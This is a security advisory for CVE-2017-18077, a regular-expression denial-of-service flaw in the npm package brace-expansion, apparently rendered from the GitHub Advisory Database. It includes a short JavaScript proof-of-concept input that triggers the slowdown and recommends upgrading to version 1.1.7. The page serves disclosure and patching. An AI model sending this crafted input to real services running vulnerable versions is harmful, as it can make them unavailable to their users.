Advisory

GHSA-832h-xg76-4gv6

Also known as: CVE-2017-18077

Summary

ReDoS in brace-expansion

Details

Affected versions of brace-expansion are vulnerable to a regular expression denial of service condition.

Proof of Concept

var expand = require('brace-expansion');
expand('{,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,\n}');

Recommendation

Update to version 1.1.7 or later.

Severity

High Basis: The source's own band: HIGH

Dates

Published
2018-01-29 15:50 UTC
Modified
2023-11-08 03:59 UTC

Affected packages and fixes

brace-expansion

npm · All systems

Affected

  • introduced 0, fixed 1.1.7 (semver)

Fixed versions

1.1.7

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences